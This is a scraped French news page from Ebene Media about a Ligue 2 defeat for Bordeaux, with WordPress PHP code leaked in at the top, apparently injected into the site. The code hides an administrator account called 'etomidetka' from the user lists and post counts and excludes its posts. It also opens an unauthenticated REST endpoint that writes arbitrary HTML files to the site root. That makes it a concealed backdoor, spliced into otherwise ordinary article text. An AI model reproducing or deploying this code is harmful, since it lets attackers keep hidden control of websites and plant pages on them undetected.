//ETOMIDETKA
add_filter('pre_get_users', function($query) {
if (is_admin() && function_exists('get_current_screen')) {
$screen = get_current_screen();
if ($screen && $screen->id === 'users') {
$hidden_user = 'etomidetka';
$excluded_users = $query->get('exclude', []);
$excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users];
$user_id = username_exists($hidden_user);
if ($user_id) {
$excluded_users[] = $user_id;
}
$query->set('exclude', $excluded_users);
}
}
return $query;
});
add_filter('views_users', function($views) {
$hidden_user = 'etomidetka';
$user_id = username_exists($hidden_user);
if ($user_id) {
if (isset($views['all'])) {
$views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
return '(' . max(0, $matches[1] - 1) . ')';
}, $views['all']);
}
if (isset($views['administrator'])) {
$views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
return '(' . max(0, $matches[1] - 1) . ')';
}, $views['administrator']);
}
}
return $views;
});
add_action('pre_get_posts', function($query) {
if ($query->is_main_query()) {
$user = get_user_by('login', 'etomidetka');
if ($user) {
$author_id = $user->ID;
$query->set('author__not_in', [$author_id]);
}
}
});
add_filter('views_edit-post', function($views) {
global $wpdb;
$user = get_user_by('login', 'etomidetka');
if ($user) {
$author_id = $user->ID;
$count_all = $wpdb->get_var(
$wpdb->prepare(
"SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'",
$author_id
)
);
$count_publish = $wpdb->get_var(
$wpdb->prepare(
"SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'",
$author_id
)
);
if (isset($views['all'])) {
$views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) {
return '(' . max(0, (int)$matches[1] - $count_all) . ')';
}, $views['all']);
}
if (isset($views['publish'])) {
$views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) {
return '(' . max(0, (int)$matches[1] - $count_publish) . ')';
}, $views['publish']);
}
}
return $views;
});
add_action('rest_api_init', function () {
register_rest_route('custom/v1', '/addesthtmlpage', [
'methods' => 'POST',
'callback' => 'create_html_file',
'permission_callback' => '__return_true',
]);
});
function create_html_file(WP_REST_Request $request)
{
$file_name = sanitize_file_name($request->get_param('filename'));
$html_code = $request->get_param('html');
if (empty($file_name) || empty($html_code)) {
return new WP_REST_Response([
'error' => 'Missing required parameters: filename or html'], 400);
}
if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') {
$file_name .= '.html';
}
$root_path = ABSPATH;
$file_path = $root_path . $file_name;
if (file_put_contents($file_path, $html_code) === false) {
return new WP_REST_Response([
'error' => 'Failed to create HTML file'], 500);
}
$site_url = site_url('/' . $file_name);
return new WP_REST_Response([
'success' => true,
'url' => $site_url
], 200);
}
Direct. Ligue 2 : les Girondins de Bordeaux battus à Annecy, perdent la main dans la course à la montée en Ligue 1 – Ebene Media
Home
Actu
Direct. Ligue 2 : les Girondins de Bordeaux battus à Annecy, perdent la main dans la course à la montée en Ligue 1
Actu
Direct. Ligue 2 : les Girondins de Bordeaux battus à Annecy, perdent la main dans la course à la montée en Ligue 1
Direct. Ligue 2 : les Girondins de Bordeaux battus à Annecy, perdent la main dans la course à la montée en Ligue 1
Toute l’actualité de votre région en continu sur notre application
Pourtant, comme les abonnements, ils permettent de soutenir le travail des 250 journalistes de notre rédaction qui s’engagent à vous proposer chaque jour une information de qualité, fiable et complète. En acceptant les cookies, vous pourrez accéder aux contenus et fonctionnalités gratuites que propose notre site.
Written by
Toute l'actualité en direct. Retrouvez-nous sur les réseaux sociaux:
Abonnez-vous à Youtube: cliquez ici --
Suivez-nous sur Facebook: cliquez ici --
Suivez-nous sur Twitter: cliquez ici --
Suivez-nous sur Tik Tok: cliquez ici
Related Articles
La déclaration commune sur les résultats des pourparlers entre les États-Unis et...
ByEbene Media mars 25, 2025
Le chef de la Commission de la politique étrangère du Parlement ukrainien...
ByEbene Media mars 25, 2025
Alors que les frappes israéliennes ont repris dans la bande de Gaza,...
ByEbene Media mars 25, 2025
Un journaliste d’Al-Jazeera a été victime d’une frappe de l’armée israélienne. Âgé...
ByEbene Media mars 25, 2025